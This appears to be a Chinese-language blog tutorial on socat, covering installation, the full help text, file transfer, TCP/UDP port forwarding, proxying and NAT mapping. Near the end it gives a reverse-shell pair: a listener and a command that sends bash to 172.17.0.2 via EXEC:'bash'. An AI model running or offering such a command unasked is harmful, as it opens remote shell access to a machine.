socat 代理和端口转发

发布时间: 更新时间: 总字数:948 阅读时间:2m 作者: IP上海 分享 网址

socat(SOcket CAT)是一个命令行程序,实现建立两个双向字节流,并在它们之间传输数据。支持代理IP、TCP、UDP、IPv6、PIPE、socket等协议

介绍

安装

# Ubuntu
apt install socat

# CentOS
yum install socat

# Mac
brew install socat
  • 源码
$ wget http://www.dest-unreach.org/socat/download/socat-1.8.0.0.tar.gz
$ tar -zxvf socat-1.8.0.0.tar.gz
$ cd socat-1.8.0.0
$ ./configure
$ make
$ make install

help

socat -h ...
$ socat -h
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
Usage:
socat [options] <bi-address> <bi-address>
   options:
      -V     print version and feature information to stdout, and exit
      -h|-?  print a help text describing command line options and addresses
      -hh    like -h, plus a list of all common address option names
      -hhh   like -hh, plus a list of all available address option names
      -d[ddd]         increase verbosity (use up to 4 times; 2 are recommended)
      -D     analyze file descriptors before loop
      -ly[facility]  log to syslog, using facility (default is daemon)
      -lf<logfile>   log to file
      -ls            log to stderr (default if no other log)
      -lm[facility]  mixed log mode (stderr during initialization, then syslog)
      -lp<progname>  set the program name used for logging
      -lu            use microseconds for logging timestamps
      -lh            add hostname to log messages
      -v     verbose data traffic, text
      -x     verbose data traffic, hexadecimal
      -b<size_t>     set data buffer size (8192)
      -s     sloppy (continue on error)
      -t<timeout>    wait seconds before closing second channel
      -T<timeout>    total inactivity timeout in seconds
      -u     unidirectional mode (left to right)
      -U     unidirectional mode (right to left)
      -g     do not check option groups
      -L <lockfile>  try to obtain lock, or fail
      -W <lockfile>  try to obtain lock, or wait
      -4     prefer IPv4 if version is not explicitly specified
      -6     prefer IPv6 if version is not explicitly specified
   bi-address:
      pipe[,<opts>]	groups=FD,FIFO
      <single-address>!!<single-address>
      <single-address>
   single-address:
      <address-head>[,<opts>]
   address-head:
      abstract-client:<filename>	groups=FD,SOCKET,RETRY,UNIX
      abstract-connect:<filename>	groups=FD,SOCKET,RETRY,UNIX
      abstract-listen:<filename>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
      abstract-recv:<filename>	groups=FD,SOCKET,RETRY,UNIX
      abstract-recvfrom:<filename>	groups=FD,SOCKET,CHILD,RETRY,UNIX
      abstract-sendto:<filename>	groups=FD,SOCKET,RETRY,UNIX
      create:<filename>	groups=FD,REG,NAMED
      exec:<command-line>	groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
      fd:<num>	groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      gopen:<filename>	groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
      interface:<interface>	groups=FD,SOCKET
      ip-datagram:<host>:<protocol>	groups=FD,SOCKET,RANGE,IP4,IP6
      ip-recv:<protocol>	groups=FD,SOCKET,RANGE,IP4,IP6
      ip-recvfrom:<protocol>	groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
      ip-sendto:<host>:<protocol>	groups=FD,SOCKET,IP4,IP6
      ip4-datagram:<host>:<protocol>	groups=FD,SOCKET,RANGE,IP4
      ip4-recv:<protocol>	groups=FD,SOCKET,RANGE,IP4
      ip4-recvfrom:<protocol>	groups=FD,SOCKET,CHILD,RANGE,IP4
      ip4-sendto:<host>:<protocol>	groups=FD,SOCKET,IP4
      ip6-datagram:<host>:<protocol>	groups=FD,SOCKET,RANGE,IP6
      ip6-recv:<protocol>	groups=FD,SOCKET,RANGE,IP6
      ip6-recvfrom:<protocol>	groups=FD,SOCKET,CHILD,RANGE,IP6
      ip6-sendto:<host>:<protocol>	groups=FD,SOCKET,IP6
      open:<filename>	groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
      openssl:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
      openssl-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
      pipe:<filename>	groups=FD,FIFO,NAMED,OPEN
      proxy:<proxy-server>:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
      pty	groups=FD,NAMED,TERMIOS,PTY
      sctp-connect:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
      sctp-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
      sctp4-connect:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
      sctp4-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
      sctp6-connect:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
      sctp6-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
      socket-connect:<domain>:<protocol>:<remote-address>	groups=FD,SOCKET,CHILD,RETRY
      socket-datagram:<domain>:<type>:<protocol>:<remote-address>	groups=FD,SOCKET,RANGE
      socket-listen:<domain>:<protocol>:<local-address>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
      socket-recv:<domain>:<type>:<protocol>:<local-address>	groups=FD,SOCKET,RANGE
      socket-recvfrom:<domain>:<type>:<protocol>:<local-address>	groups=FD,SOCKET,CHILD,RANGE
      socket-sendto:<domain>:<type>:<protocol>:<remote-address>	groups=FD,SOCKET
      socks4:<socks-server>:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
      socks4a:<socks-server>:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
      stderr	groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      stdin	groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      stdio	groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      stdout	groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      system:<shell-command>	groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
      tcp-connect:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
      tcp-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
      tcp4-connect:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
      tcp4-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
      tcp6-connect:<host>:<port>	groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
      tcp6-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
      tun[:<ip-addr>/<bits>]	groups=FD,CHR,NAMED,OPEN,INTERFACE
      udp-connect:<host>:<port>	groups=FD,SOCKET,IP4,IP6,UDP
      udp-datagram:<host>:<port>	groups=FD,SOCKET,RANGE,IP4,IP6,UDP
      udp-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
      udp-recv:<port>	groups=FD,SOCKET,RANGE,IP4,IP6,UDP
      udp-recvfrom:<port>	groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
      udp-sendto:<host>:<port>	groups=FD,SOCKET,IP4,IP6,UDP
      udp4-connect:<host>:<port>	groups=FD,SOCKET,IP4,UDP
      udp4-datagram:<remote-address>:<port>	groups=FD,SOCKET,RANGE,IP4,UDP
      udp4-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
      udp4-recv:<port>	groups=FD,SOCKET,RANGE,IP4,UDP
      udp4-recvfrom:<host>:<port>	groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
      udp4-sendto:<host>:<port>	groups=FD,SOCKET,IP4,UDP
      udp6-connect:<host>:<port>	groups=FD,SOCKET,IP6,UDP
      udp6-datagram:<host>:<port>	groups=FD,SOCKET,RANGE,IP6,UDP
      udp6-listen:<port>	groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
      udp6-recv:<port>	groups=FD,SOCKET,RANGE,IP6,UDP
      udp6-recvfrom:<port>	groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
      udp6-sendto:<host>:<port>	groups=FD,SOCKET,IP6,UDP
      unix-client:<filename>	groups=FD,SOCKET,NAMED,RETRY,UNIX
      unix-connect:<filename>	groups=FD,SOCKET,NAMED,RETRY,UNIX
      unix-listen:<filename>	groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
      unix-recv:<filename>	groups=FD,SOCKET,NAMED,RETRY,UNIX
      unix-recvfrom:<filename>	groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
      unix-sendto:<filename>	groups=FD,SOCKET,NAMED,RETRY,UNIX

使用

格式

socat [options] <address> <address>

说明:

  • 两个 address 分别代表 接收发送 数据端
  • 常见的 address
    • -STDINSTDOUT 表示标准输入输出,可以使用横杠 - 代替
    • <path-of-file> 一个文件作为数据流
    • tcp-connect:<host>:<port> 建立一个 TCP 连接作为数据流,UDP 同理
    • tcp-listen:<port> 建立一个 TCP 监听端口,UDP 同理
    • exec:<command-line> 执行一个程序作为数据流

示例

参考

文件

# 读文件
socat - /var/log/syslog

# 写文件
echo "hi socat" | socat - /tmp/hello.txt
  • 文件传送:通过 2000 端口将 demo.tar.gz192.168.0.2 传到 192.168.0.3
# 192.168.0.2
socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr

# 192.168.0.3
socat -u tcp:192.168.0.2:2000 open:demo.tar.gz,create

网络管理

# 连接其他端口
socat - TCP:192.168.0.3:3306

# 监听一个新端口
socat TCP-LISTEN:8000 -

端口转发

类似于 iptables 的功能

  • TCP 转发
socat -d -d -lf /var/log/socat.log tcp4-listen:3306,bind=192.168.0.2,reuseaddr,fork TCP4:192.168.0.3:3306

说明:

  • -d -d 日志输出级别

  • -lf /var/log/socat.log 日志路径

  • tcp4-listen:<port> 转发端口,监听在本地 TCP IPv4 协议的端口(3306)

    • bind 绑定监听的本地 IP 地址,默认全部 IP
    • reuseaddr 绑定一个本地端口
    • tcp4:<host>:<port> 指的将转发到的服务端的 IP 和端口
  • TCP 代理,range 限制指定IP可以访问22端口

socat TCP-LISTEN:22,fork,range=10.10.10.10/32 TCP:192.168.0.2:22
  • UDP 转发
socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.0.2,reuseaddr,fork UDP4:192.168.0.3:123
  • NAT 通过 Socat 将内部机器端口映射到公网上,有公网IP的机器上执行
socat tcp-listen:1234 tcp-listen:3306

web 代理

# 代理 baidu 为 socket 文件
socat UNIX-LISTEN:/tmp/x.socket,fork,reuseaddr TCP:www.baidu.com:443

# 将 socket 文件代理为端口
socat TCP-LISTEN:9090,fork,reuseaddr UNIX-CONNECT:/tmp/x.socket

# 访问服务
curl -k -i -v -H "host: www.baidu.com" https://127.0.0.1:9090

反射 shell

  • 172.17.0.2 启动服务
socat TCP4-LISTEN:12345,fork STDOUT
  • 其他机器上,连接 Linux 172.17.0.2,执行它的 bash 命令
socat -d -d TCP4:172.17.0.2:12345 EXEC:'bash',pipes

参考

  1. http://www.dest-unreach.org/socat/doc/socat.html
Home Archives Categories Tags Statistics
本文总阅读量 次 本站总访问量 次 本站总访客数